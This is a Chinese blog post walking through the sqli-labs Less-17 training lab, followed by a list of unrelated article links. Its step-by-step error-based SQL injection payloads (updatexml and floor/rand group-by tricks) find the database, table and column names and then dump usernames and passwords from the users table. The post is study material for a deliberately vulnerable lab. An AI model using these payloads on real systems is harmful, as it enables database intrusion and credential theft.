当前位置: 首页 > news >正文

SQL注入实例(sqli-labs/less-17)

0、初始网页

1、确定闭合字符

注入点在于password框,闭合字符为单引号

2、爆库名

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x) as y) #

3、爆表名

1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))x from information_schema.tables group by x) as y) #

4、爆列名

1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))x from information_schema.tables group by x) as y) #

5、查询最终结果

1' and (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand()*2))x from information_schema.tables group by x) as y) #

相关文章:

  • CMake,Makefile,CMakeLists.txt的关系和作用
  • 10分钟学会Docker的安装和使用
  • 概述:Dubbo、Nacos、 Zookeeper 等分布式服务协调与治理等技术
  • WUP-CH34X ch34x系列芯片USB转串口通信uniapp插件使用说明
  • leetcode算法刷题记录--7
  • 编程新手必看:彻底理解!与~的取反操作
  • [C++][opencv]基于opencv实现photoshop算法色阶调整
  • 职场英语培训柯桥外语学校学外语学英语到银泰泓畅学校
  • 【Python学习手册(第四版)】学习笔记19-函数的高级话题
  • 虚拟机macos安装brew、llvm并使用cmake构建项目
  • vue3前端开发-小兔鲜项目-添加购物车操作第一步
  • 59.螺旋矩阵II54.螺旋矩阵
  • Langchain框架深度剖析:解锁大模型-RAG技术的无限潜能,引领AI应用新纪元
  • css水波浪动画效果
  • (回溯) LeetCode 46. 全排列
  • Computed property XXX was assigned to but it has no setter
  • download使用浅析
  • ECS应用管理最佳实践
  • ES6 学习笔记(一)let,const和解构赋值
  • ES学习笔记(12)--Symbol
  • express如何解决request entity too large问题
  • Javascript 原型链
  • orm2 中文文档 3.1 模型属性
  • passportjs 源码分析
  • Spark RDD学习: aggregate函数
  • WePY 在小程序性能调优上做出的探究
  • 基于 Babel 的 npm 包最小化设置
  • 计算机常识 - 收藏集 - 掘金
  • 快速体验 Sentinel 集群限流功能,只需简单几步
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 使用Swoole加速Laravel(正式环境中)
  • 探索 JS 中的模块化
  • 新版博客前端前瞻
  • 用Visual Studio开发以太坊智能合约
  • 正则与JS中的正则
  • 自定义函数
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • ​渐进式Web应用PWA的未来
  • #100天计划# 2013年9月29日
  • #NOIP 2014# day.1 T2 联合权值
  • #我与Java虚拟机的故事#连载06:收获颇多的经典之作
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • ${factoryList }后面有空格不影响
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (AtCoder Beginner Contest 340) -- F - S = 1 -- 题解
  • (poj1.3.2)1791(构造法模拟)
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)springboot美食分享系统 毕业设计 612231
  • (计算机网络)物理层
  • (十六)Flask之蓝图
  • (太强大了) - Linux 性能监控、测试、优化工具
  • (一)认识微服务
  • (已解决)Bootstrap精美弹出框模态框modal,实现js向modal传递数据
  • (转)Sql Server 保留几位小数的两种做法